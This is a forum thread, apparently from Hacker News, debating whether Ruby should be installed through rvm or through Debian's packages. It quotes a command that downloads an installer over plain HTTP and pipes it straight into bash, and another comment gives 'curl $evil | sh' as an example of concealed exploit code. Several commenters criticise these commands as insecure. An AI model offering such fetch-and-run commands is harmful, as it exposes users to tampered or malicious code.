by microtonal · 15y ago · 0 comments
As an occasional Ruby programmer, and frequent Ruby-based utility user, I do not want to compile and install Ruby or Ruby modules myself. If we go down that road, why don't we compile everything from Python to GStreamer ourselves (since they all have modules/plugins/...)?
To the general user (as opposed to full-time Ruby programmer), Ruby and Ruby modules are just dependencies to the application they want to use, and installation should be automatic. One can only hope that the Ruby community understands this, and makes it easy for distributors to package their software.
I empathize with you, I am the most non-techie programmer I know and I dislike compiling things from scratch. (deep breath) HOWEVER...
The culture of programming on star-nix platforms is built around building stuff yourself. It's great when there is some form of Ruby pre-installed by default on OSX, for example, but every serious Ruby programmer must go out and compile the latest version(s) at some point or another.
I wish there was an easier way, and I applaud the folks building package managers, rvm, and so forth. But underneath all these tools is a compiler, that's the architecture of star-nix paltforms and programming for them. Everyone needs to understand what their abstractions are hiding.
The only way you can make an informed choice about the convenience and security implications of choosing to use rvm or some such is if you understand how to compile Ruby for yourself on your platform.
If that isn't your bag, I will push back and ask why you're programming on a star-nix platform?
Compiling Ruby by hand is fine if you're running purpose-built VPSs, or cloud instances, or whatever the hip new phrase is, but for people who manage systems in the old world where 1 machine = 1 OS install and multiple, commingled services, it's an entirely different ballgame. Managers of these systems can't vet each and every interpreter on the system.
If someone in web integration walks through the door with a request for a Ruby interpreter to use a set of scripts for integrating the company's new website with the old back-end finance systems, the sysadmin's first stop is the stable package repository for their chosen distribution. Compiling by hand is yet another exception that must be tracked.
In enterprise environments were IT staff are outnumbered by a couple of orders of magnitude, exceptions are the proverbial "death of a thousand cuts". That is why failure to play ball with package management systems like apt is a poor choice. It will hurt the adoption of Ruby in many environments.
I pretty much disagree with your whole point. I mostly program C, C++, and Prolog on *nix, and I rarely have to compile anything except for my own software (obviously). Debian provides nearly all libraries I'd ever use as a package.
If other people want to use my software, I can tell them to install dependencies such and such, or even provide a Debian package of my software. I don't want them to need to put the effort in reconstructing my build environment.
bash < <( curl http://rvm.beginrescueend.com/releases/rvm-install-head )
rvm install 1.9.2
rvm use 1.9.2 --default
which ruby
EDIT thanks telemachos, add this to either zshrc (if you're using zsh) or bash_profile or equivalent [[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"Moreover, it's not just you giving a bad example, as the shell script then clones a git repository, again with no protections whatsover (over http by default to make it really easy to MITM attack), and runs code from it. So this was written by people who just don't care, or don't understand security. Not people I'd be trusting with package management on my system.
This kind of thing might have been acceptible, barely, before 1995. Since then, we've developed package systems with gpg signed chains of trust.
Beyond that, if joeyh is Joey Hess[2], I would be curious to hear how you think Ruby devs and Debian might work better together to fix the current situation (assuming you don't think everything is fine from Debian's point of view and screw the Ruby devs). I'm not trolling or baiting. I am a Debian user myself (since Etch was testing), and as someone who uses Ruby regularly, this whole thing drives me nuts.
9% of users will read the script but won't notice my carefully concieled exploit code -- because my exploit code is just another seemingly innocent "curl $evil | sh"
And if 99% isn't enough, you just MITM the github connection instead.
(I am he. If I had an serious opinion I'd not post it here though.)
Besides if you git clone, literally _every commit_ is checksummed. I'm no security expert, but I don't think MITM-ing a 'git clone' sounds 'really easy.'
But it's signed :/
[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"
Then open a new shell and check the output of `type rvm | head -1`. It should return "rvm is a function".Maybe more importantly, run `rvm notes` before installing any rubies. Many operating systems will need to install various development packages first. `rvm notes` will tell you what you are likely to need for your OS.
The complaint about 'compiling from source' is that you have to manage the compilation yourself, the paths, where it's installed, etc. rvm addresses this problem.
No, it doesn't. It will install binary packages that are signed. That means that if I install a package on my local desktop and a server in New York, it will exactly be the same. No matter if there are differences in the environment or configuration. Besides that I want every system file tracked by one package management system (for ease of administration), and easy security updates.
Another important benefit of using binary Debian packages is that you get the testing that preceded progressing of the package into Debian testing for free. Constrast that with a gem that happened to be updated just 30 minutes ago, with no testing in the particular configuration where it is used.
We have been burnt badly in the past by out-of-distro 'package management' before (little testing, incompatible versions, failing builds, etc.), that I stopped using non-distribution packages mostly.
Unless you are referring to kernel module packages that use DKMS (I guess not) or 'apt-get source' which retrieves the source of a package in conjunction with '--compile'. But that's not a very common use of APT.However "stomping on your distro's package management" is not a fair description of what rvm does nor how it works. rvm is very well crafted to stay completely out of the way of a package manager like APT. If you use rvm normally, nothing is installed at the system level (e.g. /usr/local), much less into /usr/bin (or somewhere APT expects to manage). Everything is sandboxed in $HOME/.rvm/ nice and clean. You can remove it at simply as `rm -rf $HOME/.rvm` and a quick edit of your shell's start-up files. APT is in no way "stomped".
rvm implode
or rvm seppuku
and it'll remove itself. Which I always found to be particularly funny.Though, if I was able to do that with the distro's packages that'd be cool too.